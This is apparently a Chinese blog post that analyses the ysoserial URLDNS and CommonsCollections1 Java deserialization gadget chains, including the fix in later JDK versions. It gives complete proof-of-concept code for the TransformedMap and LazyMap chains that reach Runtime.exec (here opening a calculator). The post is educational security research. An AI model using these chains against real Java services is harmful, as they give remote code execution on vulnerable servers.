ysoserial反序列化gadget原理-part1:URLDNS/CommonsCollections1

前言

其实ysoserial的反序列化利用链分析的文章笔者以前就写了一部分,但写着写着就感觉没啥意思就没继续写了,无非就是函数调用栈的复述,序列化数据(payload)的构造无非就是为了满足某条函数调用的路径而已。看了下网上大多文章也是这样的。而且如果没有亲自调试过,也是看不懂别人的文章的。所以也不知道自己到底学到位了没有。

直到我在P牛的知识星球里看到他发的《Java安全漫谈》系列里关于CC链的那几篇文章(参考[2]),我觉得写的很好,当时看完后我觉得他那种学习方式才是把东西学到位了。因为那几篇文章并不是机械地按顺序去分析每一个gadget的执行流程,而是在理解了之后,写文章去展现他学习、思考和解决问题的过程。比如CC1这条链的本质原理是什么?把LazyMap换成TransformedMap的话,触发的方式有何不同?为什么CC1在高版本JDK就不行了,解决这个问题的思路是什么?CC6是如何解决的,是否可以简化它方便理解?等等。有兴趣的读者可以去看一下那几篇文章。

再后来在浏览一位开发大佬(闪客sun,微信公众号叫"低并发编程")的文章时,看到一段话,深以为然:

虽然说思想很重要,但你在没有任何细节做积累时去强行进行思想的拔高,是拔不上去的,还不如一直保持一张白纸的状态。

所以笔者还是打算写篇文章记录下学习过程,不好高骛远,好记性不如烂笔头嘛。其中包括payload的原理,学习过程中自己的疑问和通过自己动手调试后得出的答案。

URLDNS

URLDNS这个gadget一般用于渗透时Java反序列化漏洞的探测,如果dnslog平台收到了dnslog,则说明目标程序存在Java反序列化漏洞。

依赖

payload构造

注:ysoserial工具里说的payload就是指构造好的序列化数据。

public Object getObject(final String url) throws Exception {
    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    return ht;
}

/**
 * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
 * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
 * using the serialized object.</p>
 *
 * <b>Potential false negative:</b>
 * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
 * second resolution.</p>
 */
static class SilentURLStreamHandler extends URLStreamHandler {
    protected URLConnection openConnection(URL u) throws IOException {
            return null;
    }
    protected synchronized InetAddress getHostAddress(URL u) {
            return null;
    }
}

gadget chain

HashMap#readObject()
  HashMap#put()
    HashMap#hash()
      URL#hashCode()
        URLStreamHandler#hashCode()
          URLStreamHandler#getHostAddress()
            InetAddress#getByName()

原理简述

反序列化过程HashMap#readObject()会通过put(key, val)操作去还原自身,put()过程中,会调用keyhashCode()方法,而URL#hashCode()会在其成员变量hashCode-1时,调用其成员URLStreamHandlergetHostAddress()方法对域名发起DNS请求。

问题1

为什么要自己写一个SilentURLStreamHandler去继承URLStreamHandler,而不是直接用一个URLStreamHandler的子类呢?或者直接构造URL对象时handler参数传null,或者干脆使用URL(String url)去构造URL对象?

答: 因为从URL构造方法可知,如果不指定handler,则会根据url的协议(比如这里是http)去获取对应的Handler对象(sun.net.www.protocol.http.Handler)。 而在HashMap将URL对象put到集合中时,最终会调用Handler对象的getHostAddress()方法对域名发起DNS请求。所以为了避免在payload生成的过程中就发起DNS请求从而对反序列化漏洞探测(DNSLog) 产生干扰,便自定义一个类去继承URLStreamHandler,然后,并重写getHostAddress()方法。

问题2

URL的成员变量URLStreamHandler handler是被transient修饰的,所以该成员变量的值是不会被序列化的。那么为什么反序列化后,,URL对象的成员变量handler是有值,而且为sun.net.www.protocol.http.Handler的呢?

答: 因为URL反序列化过程中,先调用了URL#readObject()方法给部分成员变量赋值,然后调用readResolve()方法根据协议去获取对应的Handler对象并赋值给成员变量handler

CommonsCollections1

依赖

commons-collections:commons-collections: <= 3.2.1

有JDK版本限制,用JDK 8u60版本可以,JDK 8u101就不行.
其他版本未测试。

Payload - TransformedMap简化版

为了理解CC1这条链的原理,可以尝试看下面这段精简过的代码:

private static void simple() {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",
            new Class[]{String.class},
            new Object[]{"open -a Calculator"}),
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("test", "xxxx");
}

这段代码运行后可以弹出计算器。
在这里插入图片描述
下面分别说说其中的关键要素。

1、Transformer

Transformer是一个接口,只有一个方法,transform().

public interface Transformer {
    Object transform(Object var1);
}

2、ConstantTransformer

ConstantTransformer实现了Transformer接口,其transform()方法直接返回其成员变量iConstant,它指向其构造方法传入的对象。

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}
public Object transform(Object input) {
    return this.iConstant;
}

3、InvokerTransformer

InvokerTransformer也实现了Transformer接口,其transform()方法可用于执行任意方法。其构造方法的参数分别是:方法名、参数类型、方法的参数。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (Exception var4) {
            ......
        }
    }
}

4、ChainedTransformer

ChainedTransformer也实现了Transformer接口,它用来将若干个Transformer串联成一条执行链。简单说就是前一个Transformer#transform()的返回值,作为下一个Transformer#transform()的参数。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }
    return object;
}

在这里插入图片描述


了解了以上几个关键类后,再回过头看上面的精简代码,就比较好理解了。

我们把要执行命令的方法调用,放入ConstantTransformerInvokerTransformer对象中,并通过ChainedTransformer将它们串联起来。而TransformedMap#decorate()是对HashMap对象的装饰操作,这里传入transformerChain相当于传入了一个回调,只不过这个回调不是方法,而是一个接口实现对象,最后同时返回了TransformedMap对象。

接下来就是如何去触发ChaninedTransformer#transform() 这个回调方法。
上面代码是通过TransformedMap#put()方法去触发的。

构造TransformedMap版PoC

理解了上面TransformedMap精简版代码,其实也就理解了CommonsCollections1 这条利用链的本质。剩下的就是构造序列化数据,让其能在反序列化时执行系统命令。

前面我们是通过手动调用TransformedMap#put()来触发ChainedTransformer#transform()。所以要想反序列化也能触发,就需要找到一个类,这个类在反序列化时,其readObject()方法会往TransformedMap集合进行类似put()这样的写入操作。

这个类就是sun.reflect.annotation.AnnotationInvocationHandler。其readObject()方法的关键逻辑如下:
在这里插入图片描述
memberValues就是反序列化后得到的TransformedMap对象。遍历TransformedMap对象,当满足条件时,便会调用Map.Entry对象的setValue()方法,调用该方法,就会调用TransformedMap#checkSetValue()方法,其中又会调用ChainedTransformer#transform()方法,从而执行系统命令。

构造PoC如下

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        innerMap.put("value", "xxxx");
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(invocationHandler);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

问题1:为什么构造AnnotationInvocationHandler对象需要用反射

因为sun.reflect.annotation.AnnotationInvocationHandler并非public类型

问题2:为什么不能将getRuntime()传入ConstantTransformer

在Java中,待序列化的对象,其内部的所有属性对象,都需要是可序列化的,即实现了序列化接口java.io.Serializable,而Runtime不是,所以不能直接传入getRuntime(),否则会报异常java.io.NotSerializableException: java.lang.Runtime。所以就得换个方式,这里使用反射的方式:

try {
    Method getRuntimeMethod = Runtime.class.getMethod("getRuntime", new Class[0]);
    Runtime runtimeObj = (Runtime) getRuntimeMethod.invoke(null, new Object[0]);
} catch (Exception e) {
    e.printStackTrace();
}

问题3:关于Retention.class,换成Override.class行不行?

构造AnnotationInvocationHandler对象传入的第一个参数为什么是Retention.class,因为这里必须是一个注解类,否则在构造方法中会抛异常。
在这里插入图片描述
这里不能换成Override.class
原因在于AnnotationInvocationHandler#readObject()方法里的逻辑:
在这里插入图片描述
annotationType就是Override对象,由于Override没有定义任何的属性,故memberTypes这个map集合为空集合。

Retention定义了一个属性value。所以memberTypes这个map集合就不会是空集合。

问题4:为什么Map对象需要存放{value=xxxx}

还是为了满足AnnotationInvocationHandler#readObject()中的条件:

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {  // i.e. member still exists
	...
	memberValue.setValue(...);
	...
}

要使memberType不为nullmemberValue这个map集合就必须要有一个key名为value的键值对,且值不能为nullmemberValue就是TransformedMap对象。

TransformedMap - gadget chain

AnnotationInvocationHandler#readObject()
  AbstractInputCheckedMapDecorator$MapEntry#setValue()
    TransformedMap#checkSetValue()
      ChainedTransformer#transform()
        ConstantTransformer#transform()
        InvokerTransformer#transform()
          Method#invoke() -> Class.getMethod()
        InvokerTransformer#transform()
          Method#invoke() -> Runtime.getRuntime()
        InvokerTransformer#transform()
          Method#invoke() -> Runtime.exec() 

LazyMap与TransformedMap在实现思路上的区别

ysoserial的CommonsCollections1 这个gadget并没有使用TransformedMap,而是使用了LazyMap

LazyMap是个啥?

LazyMapTransformedMap类似,也是Map的一个装饰类。同样接收Transformer作为回调。
在这里插入图片描述
LazyMap#get()方法中调用了Transformer#transform()回调方法。看LazyMap#get()方法可以看出LazyMap存在"懒加载"这样一个机制,如其名。没有指定key的时候,才会触发回调去获取相应的值。
在这里插入图片描述
由于AnnotationInvocationHandler#readObject()中没有调用Map对象的get()方法,所以payload的构造就不能像TransformedMap那样了。ysoserial的CC1另寻它路,作者发现AnnotationInvocationHandler#invoke()方法中有调用Map对象的get()方法。
在这里插入图片描述
既然如此,那么LazyMap版的payload构造思路就很显而易见了:通过动态代理创建Map接口对象,再通过代理去调用方法entrySet(),就能调用代理对象处理器InvocationHandlerinvoke()方法了。

LazyMap版PoC

public static void main(String[] args) {
    try {
        Transformer[] transformers = new Transformer[]{
            //Runtime类没有实现 java.io.Serializable 接口,
            //   所以不能被序列化,所以得换以下这种方式
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"}
            ),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        
        Proxy mapProxy = (Proxy) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(invocationHandler);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

LazyMap - gadget chain

AnnotationInvocationHandler#readObject()
  Proxy#entrySet()
    InvocationHandler#invoke()
      LazyMap#get()
        ChainedTransformer#transform()
          ConstantTransformer#transform()
          InvokerTransformer#transform()
            Method#invoke() -> Class.getMethod()
          InvokerTransformer#transform()
            Method#invoke() -> Runtime.getRuntime()
          InvokerTransformer#transform()
            Method#invoke() -> Runtime.exec()   
      

问题5:CC1为什么高版本JDK(8u71以后)无法使用

官方修复代码见http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

关键在于AnnotationInvocationHandler#readObject()方法的逻辑:
在这里插入图片描述

如上图,在AnnotationInvocationHandler反序列化的过程中,会新建一个LinkedHashMap对象,并通过UnsafeAccessor#setMemberValue()赋值给其成员变量memberValues中,而不是反序列化得到的LazyMapTransformedMap,所以后续对memberValues的操作都是对这个LinkedHashMap对象的操作,因此就不会执行到我们构造的恶意代码。


小结

本文讲述了URLDNS、CommonsCollections1 这两个gadget的原理,可以看到代码与ysoserial里的并不完全相同。这里笔者是借鉴了P牛的学习方式,在理解的基础上,重写里边的PoC,觉得这样理解得更深刻。区别只在于ysoserial的各个gadget做了一些优化,比如防止生成序列化数据的过程中触发命令执行等。

另外,既然CommonsCollections1 受到了JDK版本的制约,那么下一篇文章来看一下ysoserlial的CommonsCollections5/6/7 是如何解决这个问题的。

参考

[1] https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
[2] https://github.com/phith0n/JavaThings

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值